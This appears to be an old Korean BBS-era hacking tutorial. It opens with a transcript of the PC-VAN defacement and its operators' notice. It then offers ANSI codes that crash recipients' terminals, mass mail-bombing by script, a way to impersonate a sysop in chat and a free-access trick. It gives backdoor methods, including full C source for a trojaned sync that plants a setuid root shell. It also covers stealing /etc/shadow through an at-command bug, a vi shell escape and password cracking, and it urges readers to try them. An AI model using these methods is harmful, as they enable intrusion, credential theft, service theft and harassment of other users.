안녕하세요.
강좌의 보강을 보냅니다.
아직 몇몇 자료가 남았습니다만 차차 제공해 드리기로하죠.
* pc-van 해킹사건
다음은 오래전에 있었던 pc-van의 해킹사건입니다.
모 해커가 침입해 pc-van 을 해킹해서 공지사항과 증권,몇몇 자료실의
자료를 무단으로 변경/삭제해놓고 사라졌습니다.
그런데 문제는 그게 아니라, 운영진의 대응자세였습니다.
운영진들은 그 해커를 우습게 여기면서 잡을수 있다고 공언하며
과연 운영진일지 의심스러울 공지사항을 띄웠습니다.
하지만 그후에 그 해커(크래커!)를 잡았다는 얘기는 못들었습니다.
아래 자료는 그 당시사항을 모아놓은 글인데 참조하시기 바랍니다.
<< 공 지 사 항 >>
------------------------------------------------------------------
번호 일자 ( 제 목 ) 조회
------------------------------------------------------------------
4) 01/02 시삽의 변명 예상~ 145
3) 01/02 증권동은 아주 뽀작! 140
2) 01/02 후하하 장터는 개판이다~ 144
1) 01/02 ▶안녕하세요. 헤킹했습니다.◀fuck van▶ 199
번호(공지사항 보기), ENTER(마침), Z(화면재생) : 4
<< P C - V A N 공 지 사 항 >>
1/ 1
제 목: 시삽의 변명 예상~
안녕하슈 시삽 양반...
당신또 누군가가 시삽아이디 가지고 장난한거라고 하겠지?
이양반아 해킹했다고 이렇게 떠벌이는것도 쪽팔린데 그런 모욕
까지 당하기는 싫다네 그러니 변명은 할생각 말게나...
그리고 아직도 속수 무책으로 있다니 허허 너무 느리다에..
불쌍하이..
안녕하신가들~
방금 이곳자고 다 뽀개고 다니다가 여기도 뽀작을 낼까 하다가
그냥 두고 가네... 단 크랙이나 뭐 기타등등 마니 올리고 공유
하면서 해커의 진정한 의미인 copyback을 잊지들 말게들...
그럼 이못난 선배는 먼저 가네...
.
.
.
.
.
.
.
.
.
.
Hacking of Haven...
-----------------------------------------------------------------------------
원하는 번호와 ENTER 키를 치세요 : 91005 상위 : P 종료 : Q
접속 중입니다. 잠시 기다려 주세요.
<< 공 지 사 항 >>
------------------------------------------------------------------
번호 일자 ( 제 목 ) 조회
------------------------------------------------------------------
130) 01/02 참 재미있네요 137
127) 12/29 "머드" 시험(test)사용자를 초빙합니다 452
126) 12/28 ● 자격정보 서비스 개시 ● 473
125) 12/21 ☎ InfoShop회원의 권한 & 접속방법 ☎ 2773
124) 12/21 한국통신 인포샵 1월호의 피씨밴소식... 1037
123) 12/16 ※ Hitel 초기화면에서 91008로... ※ 3163
122) 12/16 ※ 축 91008 개통 (무료 10시간) ※ 4828
119) 12/13 증권정보를 한자리에서.... 1267
118) 12/12 야설록-프로 무협소설 TOP-MEN에 개설! 2920
117) 12/12 일부 써비스를 전체회원에게... 2087
115) 12/11 ▶ 증권 투자자에게 희소식 ◀ 1371
114) 12/10 유령이 되지 않는 방법 4100
번호(공지사항 보기), ENTER(마침), Z(화면재생) : 130
<< P C - V A N 공 지 사 항 >>
1/ 4
제 목: 참 재미있네요
저희 pcvan에도 말로만 듣던 HACKING을 당했읍니다
증권 정보와 몇가지 공개자료실에 있던 데이터가
없어졌읍니다
그 헥커의 변명의글은 sysop이 돈만 알기 때문에
자기가 판결을 내렸답니다 이런 bbs는 없어져야한다고..
현재 역 추적중입니다 대개 윤각은 알고 있읍니다
1월2일 오전 9시 53분에 허겁지겁 나갔읍니다
이 9시23분이란 데이타와 우리 회원들이 알려주신
접속시간을 한국통신에 의뢰하여 공식적인 통보를 기다리고
있읍니다 그러나 공식적으로 자료를 받기 위해서는 형사고발이 선행되여야한답니다
따라서 본의는 아니오나 고발수속을 밟고있읍니다
참으로 불행한 일입니다 또 놀라운것은 저희pcvan의
핵커동호회원들의 분노입니다 감이 우리동호회가 있는곳에
들어와서 핵킹을 하다니...이런 뜻으로 대단히 분노하면서
그 핵커를 잡 요령과 미리 깔아놓았던 그물에 대한
좋은 충고를 해 주셨읍니다 핵킹을 방지하기위한 그물을
아시겠지요? 좋은 충고 감사합니다 이 사건이 끝난후에
공개적으로 그 회원을 밝혀드리겠읍니다
현재까지 밝혀진것은 자세히 밝힐수 없으나 접속했던 전화번호와
접속자의 본명 그 접속자의 학교명과 몇 학년인지..
본인이 다른사람에게 책임을 전가할 우려때문에 접속되였던
전화번호를 공식적으로 요청하였읍니다 접속시초 시간과
접속종료시간, 그리고 헥킹전에 비밀방을 만들고 이야기한 자료
등은 모두 확보하였읍니다
접속자의 본명 그 접속자의 학교명과 몇 학년인지..
본인이 다른사람에게 책임을 전가할 우려때문에 접속되였던
전화번호를 공식적으로 요청하였읍니다 접속시초 시간과
접속종료시간, 그리고 헥킹전에 비밀방을 만들고 이야기한 자료
등은 모두 확보하였읍니다
시간 문제이긴해도 추적은 다된것이나 다름없읍니다
참 재미있네요 않그런가요?
다음(F) 앞(B) 다음항목(N) 앞항목(A) 상위면(P) 연속보기(PR) Z(화면재생) X(종료)
>>
끝
* 이야기로 하는 해킹
안시를 이용하여 우린 여러가지를 할 수 있습니다.
code.txt는 메일폭탄의 코드입니다.
다음코드가 이야기에서 다운명령을 하게 하는 코드죠.
이런식으로 다른것을 포함시키면 됩니다.
rz**B00000000000000?
이러한 것을 메모 폭탄으로도 사용할 수 있습니다.
아래의 코드를 삽입하여 메일이나 메모를 보낸다면 상대방의
컴퓨터는 갑자기 다운 화면을 보여줄것입니다.
이것은 단지 맛뵈기에 불과하지만 여러분은 이것을 응용하여
갖가지 다른 방법으로 고칠수 있습니다.
이런 메모 100여개만 보내면 아마 아이디 해제하는게 날걸요~
저한테 보내지는 마세요. 흐흐흐~~
참, 이러한 안시를 이용한 방법은 이야기 스크립트와 결합시킬경우
커다란 힘을 발휠 할 수 있습니다.
이야기 스크립트를 이용해 자동으로 메모나 메일을 보낼수 있게 할수
있으니까요.
이방법을 통해 특정인에게 수백,수천통의 메일을 보내는것입니다.
다음은 이야기에서 사용하는 스크립트의 헤더파일 내용입니다.
다음의 명령어들을 이용해서 우린 간단한 프로그래밍을 할 수
있는것입니다.
기본적인 명령들을 이용하여 만든 "삐삐해킹"프로그램의 소스(pager.scs)가
포함되어 있으니 한번 활용해 보시는것도 좋겠습니다.
하지만 현재 이 방법은 삐삐회사가 막아놓아서 안통합니다.
단지 이런게 있고 이야기 스크립트로 프로그래밍을 어떻게 하는지
알아두시기 바랍니다.
이야기 스크립트는 잘만 활용하면 정말 엄청난 힘을 발휘할수 있습니다.
-------------------------------------------------------------------------
// 값 정의
#정의 잘못 0
#정의 정상 1
#정의 제대로 1
// 통신 포트
#정의 _COM1 0
#정의 _COM2 1
#정의 _COM3 2
#정의 _COM4 3
#정의 _com1 _COM1
#정의 _com2 _COM2
#정의 _com3 _COM3
#정의 _com4 _COM4
#정의 _1 _COM1
#정의 _2 _COM2
#정의 _3 _COM3
#정의 _4 _COM4
// 패리티 비트
#정의 _EVEN 0
#정의 _ODD 1
#정의 _NONE 2
#정의 _none _NONE
#정의 _odd _ODD
#정의 _even _EVEN
#정의 _N _NONE
#정의 _O _ODD
#정의 _E _EVEN
#정의 _n _NONE
#정의 _o _ODD
#정의 _e _EVEN
// 단말기 종류
#정의 _TTY 0
#정의 _VT100 1
#정의 _VT200 2
#정의 _FS220b 3
#정의 _ANSI 4
#정의 _이야기FS 5
#정의 _이야기VT 6
#정의 _tty _TTY
#정의 _vt100 _VT100
#정의 _vt200 _VT200
#정의 _FS220B _FS220b
#정의 _FS220 _FS220b
#정의 _fs220 _FS220b
#정의 _ansi _ANSI
#정의 _이FS _이야기FS
#정의 _이VT _이야기VT
// 사용 한글
#정의 _상용조합형 1
#정의 _삼성조합형 2
#정의 _금성조합형 3
#정의 _옛KS조합형 4
#정의 _도깨비조합형 5
#정의 _7비트완성형 6
#정의 _KS5601완성형 7
#정의 _영문전용 8
#정의 _상용 _상용조합형
#정의 _상용조 _상용조합형
#정의 _삼성 _삼성조합형
#정의 _삼성조 _삼성조합형
#정의 _금성 _금성조합형
#정의 _금성조 _금성조합형
#정의 _옛KS _옛KS조합형
#정의 _옛KS조 _옛KS조합형
#정의 _옛ks _옛KS조합형
#정의 _옛ks조 _옛KS조합형
#정의 _옛케이에스 _옛KS조합형
#정의 _도깨비 _도깨비조합형
#정의 _7비트 _7비트완성형
#정의 _KS _KS5601완성형
#정의 _KS완 _KS5601완성형
#정의 _ks _KS5601완성형
#정의 _ks완 _KS5601완성형
#정의 _영문 _영문전용
#정의 _영문전 _영문전용
// 색깔값
#정의 _검정색 0
#정의 _파랑색 1
#정의 _녹색 2
#정의 _하늘색 3
#정의 _빨강색 4
#정의 _보라색 5
#정의 _갈색 6
#정의 _밝은회색 7
#정의 _회색 8
#정의 _밝은파랑 9
#정의 _연두색 10
#정의 _밝은하늘 11
#정의 _밝은빨강 12
#정의 _밝은보라 13
#정의 _노랑색 14
#정의 _흰색 15
// 전송 속도
#정의 _110 0
#정의 _150 1
#정의 _300 2
#정의 _600 3
#정의 _1200 4
#정의 _2400 5
#정의 _4800 6
#정의 _9600 7
#정의 _14400 8
#정의 _19200 9
#정의 _38400 10
#정의 _57600 11
#정의 _115200 12
#정의 보내기 asyncputs
#정의 난수구하기 random
// 기본 함수들의 형식
정수 글마중( 글월 기다릴글월 );
정수 제한글마중( 글월 기다릴글월, 정수 시간 );
정수 글마중제한시간( 정수 제한시간 );
찾을글( 글월 찾을글월 );
정수 화면잡기( 글월 파일이름 );
정수 코드갈무리( 글월 파일이름 );
정수 화면갈무리( 글월 파일이름 );
정수 갈무리끝( );
정수 찍기시작( );
찍기마침( );
정수 파일보내기( 글월 파일이름 );
정수 편지보내기( 글월 파일이름 );
정수 그냥보내기( 글월 파일이름 );
정수 파일받기( );
거는방법( 정수 방법 );
정수 전화걸기( 글월 전화번호 );
정수 전화끊기( );
메뉴파일( 글월 파일이름 );
단말기방식( 정수 단말기 );
통신포트( 정수 포트 );
전송속도( 정수 속도 );
패리티비트( 정수 비트 );
데이터비트( 정수 비트 );
정지비트( 정수 비트 );
사용한글( 정수 한글 );
정수 글쇠읽기( 글월 보낼글월 );
정수보내기( 정수 보낼정수 );
찾은글정리( );
정수 찾은글번호( );
중지( );
// 파일 관련
정수 파일열기(글월 파일이름, 글월 속성);
파일닫기( 정수 파일번호 );
정수 파일읽기(글월 버퍼, 정수 길이, 정수 파일번호);
정수 파일쓰기(글월 버퍼, 정수 길이, 정수 파일번호);
정수 파일글월쓰기(글월 버퍼, 정수 파일번호);
글월 파일글월읽기(글월 버퍼, 정수 갯수, 정수 파일번호);
정수 파일한자쓰기(정수 글자, 정수 파일번호 );
정수 파일한자읽기(정수 파일번호);
정수 파일위치(정수 파일번호, 정수 위치위쪽, 정수 위치아래쪽, 정수 위치방법);
파일감기(정수 파일번호);
정수 파일위치위쪽(정수 파일번호);
정수 파일위치아래쪽(정수 파일번호);
정수 디스크바꿈(정수 디스크번호);
정수 디스크알기();
정수 현재목록(정수 드라이브번호, 글월 목록이름);
정수 목록바꾸기( 글월 바꿀목록 );
정수 목록만들기(글월 목록이름);
정수 목록지우기(글월 목록이름);
정수 이름바꾸기(글월 옛이름, 글월 새이름);
정수 파일지우기(글월 파일이름);
/////////////////////////
// 입출력 관련
정수 글쇠눌림();
정수 글자받기();
정수 글자받기보임();
글자쓰기(정수 글자한자);
정수 글자받기2();
정수 글월쓰기(글월 버퍼);
정수 글월받기( 정수 가로위치, 정수 세로위치, 글월 버퍼, 정수 최대값 );
정수 창문글월받기( 정수 가로위치, 정수 세로위치, 글월 보일글월, 글월 버퍼, 정수 최대값 );
지연( 정수 지연시간 );
정수 글쇠지연( 정수 지연시간 );
알림( 글월 보일글월 );
지연알림( 글월 보일글월, 정수 지연시간 );
메모리글자쓰기(정수 세그먼트, 정수 오프셋, 정수 넣을값);
정수 메모리글자읽기(정수 세그먼트, 정수 오프셋);
정수 포트읽기(정수 포트번호);
포트쓰기(정수 포트번호, 정수 값);
인터럽트불가();
인터럽트가능();
소리( 정수 주파수 );
소리끄기();
연주하기( 글월 연주글월 );
// 화면 관련
화면지우기();
위치이동( 정수 가로위치, 정수 세로위치 );
정수 가로위치();
정수 세로위치();
정수 가로크기();
정수 세로크기();
정수 색깔알기( 정수 색위치 );
정수 색깔바꾸기( 정수 전경색, 정수 배경색 );
// 글월 관련
글월 memchr( 글월 문장, 정수 글자, 정수 갯수 );
정수 memcmp( 글월 문장1, 글월 문장2, 정수 갯수);
정수 memcpy( 글월 어디로, 글월 어디에서, 정수 갯수);
정수 memmove( 글월 어디로, 글월 어디에서, 정수 갯수);
정수 memset(글월 문장, 정수 글자, 정수 갯수);
setmem(글월 어디로, 정수 갯수, 정수 글자);
글월 strcat( 글월 원래문장, 글월 붙일문장 );
글월 strncat( 글월 원래문장, 글월 붙일문장, 정수 갯수 );
글월 strcpy( 글월 어디로, 글월 어디에서 );
글월 strncpy( 글월 어디로, 글월 어디에서, 정수 갯수 );
글월 strchr( 글월 문장, 정수 글자);
글월 strrchr(글월 문장, 정수 글자);
정수 strcmp(글월 문장1, 글월 문장2);
정수 strncmp( 글월 문장1, 글월 문장2, 정수 갯수 );
정수 strlen(글월 문장);
글월 strstr(글월 문장1, 글월 문장2);
글월 strpbrk(글월 문장1, 글월 문장2);
글월 strtok(글월 문장1, 글월 문장2);
// 기타 필요한 함수
정수 atoi( 글월 문장 );
글월 itoa( 정수 숫자, 글월 문장, 정수 자리수 );
정수 tolower( 정수 글자 );
정수 toupper( 정수 글자 );
정수 isalnum( 정수 글자 );
정수 islower( 정수 글자 );
정수 isalpha( 정수 글자 );
정수 isprint( 정수 글자 );
정수 isascii( 정수 글자 );
정수 ispunct( 정수 글자 );
정수 iscntrl( 정수 글자 );
정수 isspace( 정수 글자 );
정수 isdigit( 정수 글자 );
정수 isupper( 정수 글자 );
정수 isgraph( 정수 글자 );
정수 isxdigit( 정수 글자 );
정수 random( 정수 범위 );
randomize();
srand(정수 seed);
정수 절대값( 정수 숫자 );
정수 최소값( 정수 숫자1, 정수 숫자2 );
정수 최대값( 정수 숫자1, 정수 숫자2 );
정수 검사하기( 글월 문장 );
정수 알림검사하기( 정수 가로위치, 정수 세로위치, 글월 알림글, 글월 예, 글월 아니오 );
중지알리기( 글월 알림글 );
글쇠알리기( 글월 알림글 );
글월 파일고르기( 글월 파일이름, 글월 알림글 );
파일보기( 글월 파일이름 );
메뉴색깔( 정수 글자색, 정수 배경색 );
정수 메뉴고르기( 정수 가로위치, 정수 세로위치, 정수 가로글자갯수, 정수 세로메뉴갯수, 글월 머릿말, 글월 메뉴이름들 );
정수 선택하기( 정수 가로위치, 정수 세로위치, 정수 길이, 정수 갯수, 정수 시작위치 );
정수 파일이름분리( 글월 원래문장, 글월 드라이브, 글월 목록, 글월 파일이름, 글월 확장자);
정수 도스명령(글월 명령어);
정수 파일확인(글월 파일이름, 정수 확인종류);
글월 시간알기();
글월 날짜알기();
////////////////////////////
// 통신 관련
정수 asyncget();
정수 asyncput( 정수 값 );
정수 asyncgetch();
asyncputs(글월 str);
정수 carrier();
///////////////////////////
// 시스템 관련
한글종류바꿈( 정수 어디에서, 정수 어디로 );
한글바꿈( 글월 한글 );
정수 글월바꿈( 글월 문장 );
정수 intget( 글월 문장, 정수 갯수 );
글월 intput( 글월 문장, 정수 갯수, 정수 값 );
글월 strput( 글월 문장1, 글월 문장2, 정수 갯수 );
글월 strgetstr( 글월 문장, 정수 갯수 );
////////////////////////////
// 그림 관련
pie( 정수 가로위치, 정수 세로위치, 정수 반지름, 정수 시작각, 정수 끝각, 정수 색깔 );
arc( 정수 가로위치, 정수 세로위치, 정수 시작각, 정수 끝각, 정수 반지름 );
arcfill( 정수 가로위치, 정수 세로위치, 정수 시작각, 정수 끝각, 정수 반지름 );
putpixel( 정수 가로위치, 정수 세로위치 );
putpixelpattern( 정수 가로위치, 정수 세로위치 );
정수 getpixel( 정수 가로위치, 정수 세로위치 );
setpattern(정수 mode,정수 PsizeX,정수 PsizeY, 글월 Pattern);
line( 정수 가로위치1, 정수 세로위치1, 정수 가로위치2, 정수 세로위치2 );
lineto( 정수 가로위치, 정수 세로위치 );
moveto( 정수 가로위치, 정수 세로위치 );
hline( 정수 가로위치,정수 세로위치,정수 길이 );
xorline( 정수 가로위치1,정수 세로위치1,정수 가로위치2,정수 세로위치2 );
xorblock( 정수 가로위치, 정수 세로위치 , 정수 가로넓이 ,정수 세로넓이 );
circle( 정수 가로위치, 정수 세로위치, 정수 반지름 );
box( 정수 가로위치1, 정수 세로위치1, 정수 가로위치2, 정수 세로위치2 );
boxfill( 정수 가로위치1, 정수 세로위치1, 정수 가로위치2, 정수 세로위치2 );
xorbox( 정수 가로위치1, 정수 세로위치1, 정수 가로위치2, 정수 세로위치2 );
clearblock( 정수 가로위치, 정수 세로위치, 정수 가로넓이, 정수 세로넓이 );
-------------------------------------------------------------------------------------
다음은 나우누리에서 시삽4를 사칭하는 안시입니다.
아래대로 행하면 대화방에서 누가봐도 sysop4(나우지기)로 보입니다.
겜방을 초토화해보세요!
☞는 글쇠정의 (Alt_M) 에서 ┛는 Ctrl+B+[ 입니다.
우선 Alt_C(채팅모드에서)
*** sysop4(나우지기)님이 들러 오셨습니다!! ☞ 똑같이 (들어오는는 경우)
*** sysop4(나우지기)님이 나가셨습니다. ☞ 똑같이 (나가는 경우)
/al $#133$#141┛┛┛┛
☞ /al $#133$#141$e$e$e$e
┌────────────────────┐
│ │
├────────────────────┼
│sysop4(나우지기) _ │
└────────────────────┘
그러나 일부 사람들은 /st 를 해보는 경우도 있으니 이를 대비하기위해
"/al 자기이름"을 써넣어야 합니다.
추가로 다음것은 다운안시 "/al ┛[99999M" 입니다.
컴퓨터를 다운시키는 안시죠. 테스트 해보시길...
그리고 다운안시 피하는 법은 터미널 TTY를 사용하면 됩니다.
그리고 기업체,교육,전화국 등 공공 ID 의 경우는 비밀번호로 전화번호가
대부분 쓰입니다. 하이텔등에서 주로 자행되는 쉬운 비밀번호들은
아이디도용의 표적이되죠.
다음은 천리안을 무료로 이용할수있는 비결입니다.
1. 01420 으로 접속을 합니다.
2. 12번 "농림수산 정보" 에 접속을 합니다.
3. GUEST로 들어가 100번에서 가입을 합니다.
4. 가입하고 3~4일 지나면 확인 전화를 한후 실제 접속합니다.
5. TOP 에서 99번을 쳐세요
6. 거기서 "1. 천리안 서비스 연결" 이런 메뉴에 접속을 시도합니다.
단, 이 방법은 농림수산 정보라는 공유 아이디로 들어 갔기 때문에
메일을 보낸다거나 게시물을 쓴다거나 하는 것들은 불가능합니다.
즉, 쓰기 기능은 불가능 합니다.
끝으로 주의사항으로 장수비결을 알려드리자면,
천리안 사용시간이 농림수산 정보의 사용시간의 95% 이상을 차지하면
안 된다는 것입니다.
즉,농림수산 정보에 가입해서 매일 천리안만 한다면 2달동안 천리안 사용
기능을 박탈당하니 농림수산 정보에서도 활동 하여야합니다.
아차, 01410으로 접속해도 농림수산 정보가 나옵니다.
그리로도 해보세요.
* 백도어와 개구멍
백도어를 아십니까? 일명 뒷문이라고 하죠.
해커가 침투(?)해서 자신이 원하는 작업을 한후 차후에 또 접속하기위해
백도어를 설치하는 것입니다.
즉, 백도어란 ROOT의 관리자 모르게 자신에게 ROOT권한을 부여한
퍼미션을 열어두는 것이죠.
아래 설명하는것은 초보적인 것들이기에 웬만한 보안툴에는 다 잡히지만
게으른 관리자도 많으니 한번 해보시길...
예를 들어봅시다.
(1) 기초적인 것으로 /dev 디렉토리에 suid된 shell을 숨겨둡니다.
/dev에는 많은 파일이 들어 있으므로 섣불리 ls해 보지는 않는다는
인간적인 약점을 이용하는 것입니다.
(2) login을 다시 컴파일합니다.
소스인 "login.c"에 특정 패스워드를 집어넣어 자신이 이것을 입력했을경우
로그인이 되도록 하는것입니다.
하지만 이것은 리눅스같이 소스가 공개되어 있는것은 가능하지만 SUN같은
것은 좀 힘듭니다. 하지만 SUN도 소스가 어딘가에 있으니 불가능하지는
않을듯...
(3) sync를 컴파일합니다.
#cat >sync.c
main()
{
if (get_uid() == 0) {
system("cp /bin/sh /tmp/.rootsh");
system("chmod u+s /tmp/.rootsh");
}
sync();
}
^D
#cc -o sync sync.c
#cp sync /bin/sync
이렇게 해 두면 루트가(또는 일정시간마다) sync가 수행될때마다
/tmp에 .rootsh이 생성된다. 혹시 root가 알고 지웠을 경우라도
sync가 바뀌었다는것을 모른다면 sync가 수행될때마다 계속 생길 것입니다.
(4) /dev/kmem을 읽기 가능한 상태로 만들어 둡니다.
'/dev/kmem'이 읽기 가능하다면, 당신은 짧은 C프로그램을 사용하여
다른 터미널의 입출력을 가로챌 수 있고 따라서 로그인 네임과 비번등
모든것을 가로챌 수 있기때문이죠.
'/dev/kmem'이 쓰기 가능이라면, user structure를 편집하여 당신의
uid를 바꿀수 있습니다.
백도어 말구 개구멍이란게 있습니다.
개구멍이란 예를들어 천리안,하이텔 같은 서비스에서 인터넷으로
오고 갈수 있는지 등입니다.
이를 인바운딩 혹은 아웃바운딩 이라고 말합니다.
인바운딩이랑 인터넷에서 서비스사로 들어올수 있는 기능이고 아웃바운딩은
그 반대로 나갈수 있게 하는 것입니다.
현재 유료화된 인터넷 계정 서비스등을 사용한다면 모를까 그전에는
인바운딩 서비스 같은 것을 하는줄도 몰랐고 할수있다고 해도 접속도메인을
알수없게 했습니다.
개구멍이란 바로 그러한 접속 도메인을 일컿는것입니다.
다음과 같은것이 그러한 것입니다.
hitel.goldstar.co.kr
202.30.93.19
134.75.141.101
134.75.100.120
* 최근에 주목받고있는 대표적인 해킹방법
다음은 어느곳에선가 기사화된 자료를 바탕으로 재구성한 것입니다.
기본적인 상식이니 꼭! 알아두세요.
다음에는 이것들에 대한 실제적인 사용법에 대해 더 자세히 다루죠.
* IP Spoofing
인터넷 프로토콜인 TCP/IP의 구조적 결함, 즉 TCP 시퀀스번호, 소스
라우팅, 소스 주소를 이용한 인증(Authentication) 메커니즘 등을 이용한
방법으로써 인증(Authentication) 기능을 가지고 있는 시스팀을 침입하기
위해 침입자가 사용하는 시스팀을 원 호스트로 위장하는 방법이다.
즉, 자신의 컴퓨터를 상대방의 컴퓨터인것처럼 가장하는 방법인데
상대의 보안 시스템은 나의 침입을 알지못하고 나를 자신으로 아는것이다.
이방법은 NASA 에 침투할 대표적인 방법이다.
# Packet Sniffering 방법
현재 가장 많이 쓰이고 있는 방법으로 tcpdump, snoop, sniffer 등과
같은 네트워크 모니터링 툴을 이용해 네트워크 내에 돌아다니는 패킷의
내용을 분석해 정보를 알아내는 것이다.
스니퍼같은 프로그램을 이용하여 네트워크에서 돌아다니는 패킷들을
이용하는 일종의 도청이라 보겠다.
해커는 먼저 자신의 시스팀이나 보안 취약점을 가지고 있는 시스팀을
침입하여 루트 권한을 획득한다. 그후 이 시스팀에 다시 로그인하기
위해 트로이목마 풀그림 혹은 백도어를 설치한 후 그 시스팀이 속해 있는
네트워크 상의 모든 ftp, 텔넷 그리고 rlogin 세션의 처음 128개의 문자를
가로챌 수 있는 네트워크 모니터링 툴을 설치해 실행한다.
일반적으로 처음 128문자내에는 시스팀명, 사용자명, 패스워드에 대한
정보가 포함되어 있어서 이 정보를 이용하면 아무런 어려움 없이
네트워크 내 모든 호스트에 접속할 수 있다.
참고로 이러한 문자들의 조합으로 만들어낼 수 있는 가짓수는 무려 20조개에
달한다.
# OS 설치 방금 끝낸 호스트 침입
인터넷에서 중요한 게이트웨이나 서비스 호스트들은 성격상 OS를
업그레이드 하거나 새로운 OS를 설치하는 경우에 사용자들이 이용하지
못하므로 대부분 언제 새로운 OS를 설치한다는 것을 네트워크를 통해서
공지하게 된다. 하지만 OS 설치를 막 끝낸 호스트는 루트의 패스워드가
없거나 보안 검사(Security Check) 기능이 거의 작동되지 않는
상황이므로 누구나 쉽게 침투할 수 있다.
물론 이방법은 가장 쉽게 생각할 수 있는것이지만 어느 사이트가 새로
OS를 바꾸었는지 알기어렵다.
하지만 자주 들르는 곳이라면 그 변화를 알수 있으니 주목해보기를...
# Sendmail 버그
Sendmail은 네트워크 간에 메일을 전송해 주기 위해 만들어진
메일전송 풀그림이다. 이 풀그림은 TCP/IP, UUCP, 빗넷 등 다른
네트워크 간의 전송도 가능하게 하므로 거의 모든 유닉스 기종에서
사용되고 있다. 따라서 Security Hole이 발견되면 그 여파가 어떤
것보다 크다. 대부분 자사 유닉스에 버전 5의 이 풀그림을 함께
배포하는데, 많은 버그를 가지고 있는 것으로 알려지고 있다. 88년에
인터넷에 연결돼 있던 7천 5백대의 시스템이 정지했던 인터넷 웜(Internet
Worm) 사건 때에는 'debug'라는 버그로 명성을 떨쳤다.
이 인터넷웜 사건은 지금까지도 떠들썩하게 전해 내려오는 대표적 사건이다.
현재에도 AT명령을 이용한 SENDMAIL버그가 유용하게 쓰이고있다.
# 상업 통신망 해킹
하이텔, 천리안, 나우콤 등 통신망은 인터넷과 연결되기 이전에는
자체적으로 내부의 네트워크를 사용하고 있었다. 그런데 실제 서비스
이용자들은 유닉스 위에서 작동되고 있는 메인 프로그램에서 빠져 나오는
경우가 거의 없었으므로 서비스를 하고 있는 유닉스 호스트와 네트워크는
허술하게 세팅돼 있다. 하지만 인터넷과 연동한 요즘은 과거에는 없었던
허점들이 인터넷 해커들의 좋은 목표가 되고 있다. 나우콤과 천리안의
경우 방화벽(Firewall)을 설치해 운영하고 있으나, 느슨하게 구성되어
있어서 역시 허점을 많이 나타내고 있다. 방화벽은 사실 여러
네트워크와 연동하고 있는 기관에선 좋은 대안이 아닐 수도 있다.
사실 국내 통신망들에서 제공하는 인터넷 서비스의 초기때만해도 한창
이러한 문제로 극성이었다.
방화벽을 설치한다 하더라도 이것이 만능은 아니기 때문이다.
# 인터넷 상업망 서비스
아이네트나 코넷 같은 인터넷 서비스 공급업체나 이 업체에 연동해서
인터넷 서비스를 받는 기관 역시 많은 문제점을 안고 있다. 망서비스를
하는 회사는 각 서비스마다 전담하는 인원을 두게 마련인데, 이런 경우
한 호스트에서 시스팀을 총체적으로 관리할 수 없어서 여러 가지
잠재적인 문제점을 안게 된다.
아이네트등이 주로 해커들의 표적이된다.
아이네트에서 빼내어진 패스워드화일은 "파워해킹테크닉"에도 소개되었을
정도로 허술했었다.
더우기 요즘은 그 패스워드 화일을 매매하는 경우도 있으니...
# Firewalls의 해킹
방화벽(Firewall)은 업체나 기관에서 인터넷에 연동할 때 외부에서
시도되는 해킹을 막기 위해서 게이트웨이 정도에서 연결을 막아 버리는
방법으로 개발되었다. 따라서 큰 기관에서 각 호스트 보안을 걱정하지
않아도 되는 장점이 있다. 하지만 Firewall 안에 속해 있는 호스트들은
대부분 허술하게 관리되고 있어 일단 Firewall만 뚫리고 나면 그 기관
전체가 다 무너지는 단점이 있다.
대형통신망 서비스회사 자체내부나 그와 연결된 기관에서 직접 해킹을
시도한다면 방화벽이 무색해진다.
실제로 그러한 회사 내부에서 아르바이트 하는 학생들이 간혹 그런일을
저지르기도 하니...
여담이지만 실제로 제가 일하고(?)있는 모 대형 통신서비스 회사를 보면
정말 너무 허술하게 관리되고 있더군요.
우린(?) 직원들이 퇴근한 밤에 주로 그 컴을 사용해 작업을 하고
연구소와 물려있는 호스트에 결과를 쌓아두고,테스트 하는데
우린 이미 방화벽안에 들어 있는 셈이지요.
센터직원들의 경우 중요한 문서등을 그대로 방치한채 관리하더군요.
우리끼리 하는말이있죠. 이것들을 다 갖고 나르면 새로운 대형
통신회사 생기겠구나 하구...
하지만 이경우는 일부 특수한 경우이고 보통 외부에서 접속해야 하는데
쫌 힘들죠. 하지만 뜻이 있는곳에 길이있다고 했으니 너무 걱정 마세요.
* AT명령을 이용한 패스워드 쉐도우 가져오기
AT 명령은 누차 얘기했지만 상당히 쓸모있는 명령입니다.
이를 이용해서 패스워드 화일(쉐도우)을 가져와보기로 하죠.
at명령은 지정된 시간에 어떤 명령을 수행할 수 있게 해주는 명령입니다.
이 at명령으로 퍼미션이 막힌 화일도 읽을 수가 있는게 강점이죠.
요즘은 이 버그가 막힌곳이 많지만 아직도 통하는 곳이 있으니 문제죠.
먼저 date 명령으로 시간을 확인한후 현재 시간이 15:30분이면
시간을 넉넉히 두고
at -f /etc/shadow 1540
이렇게 명령을 주면 됩니다. 뒤에 숫자는 시간이겠죠.
이렇게 해서 다음 디렉토리에 가서 화일을 봅니다.
/var/spool/cron/atjobs
아까 나온 숫자를 이름으로 하는 화일이 하나 있습니다.
단, 이 화일은 15:40분이 지나면 사라지니 그전에 보셔야 할겁니다.
물론 일정부분의 편집은 거쳐야합니다.
이제 여러분은 쉐도우를 얻을 수 있는 것입니다.
이것을 막기위해서는 권한을 상당히 막아놓아야합니다.
물론 관리자 측면에서죠. AT명령을 아에 안통하게~~
그리고 참고로 한마디 더 하자면,
예전에 VI 에서 쉘로 빠지는 방법이 있었습니다.
아~당연히 가는 그런거말고 나우누리에서 빠지는 그런거 말입니다.
일전에 나우가 해킹당했을때 이방법을 쓴거라는 소문이 자자했었거든요.
이제는 안돼지만요.
:w! !/bin/sh < /dev/ttyS0 뭐 이런식으로 들어 갔다고 하던데
요즘은 감시 프로그램이 계속 백그라운드로 돌아가서리
단번에 걸릴겁니다.
* 패스워드와 크랙잭
유닉스에서 패스워드는 반드시 암호화를 거칩니다.
이렇세 암호화된 패스워드는 /etc 디렉토리에 저장이됩니다.
여러분이 대학등에 계정을 가지고 있다면
$ cd /etc 를 하면 패스워드가 들어있는 디렉토리에 접근이 가능합니다.
그곳에서
$ cat passwd
하시면
패스워드 화일이 줄줄줄 나올겁니다.
우리가 예를들어 어느 대학 전산망에 침투했다면
접속을 한후 /etc 로 이동한후 패스워드 화일을 갈무리하는게
가장 손쉬운 방법입니다.
이를 다시 "크랙잭"등으로 돌리면 패스워드가 일치할경우 찾아내주는것입니다.
다음과 같은 패스워드 화일들에 대해서 설명을 하죠.
1)로긴명: 아이디입니다.
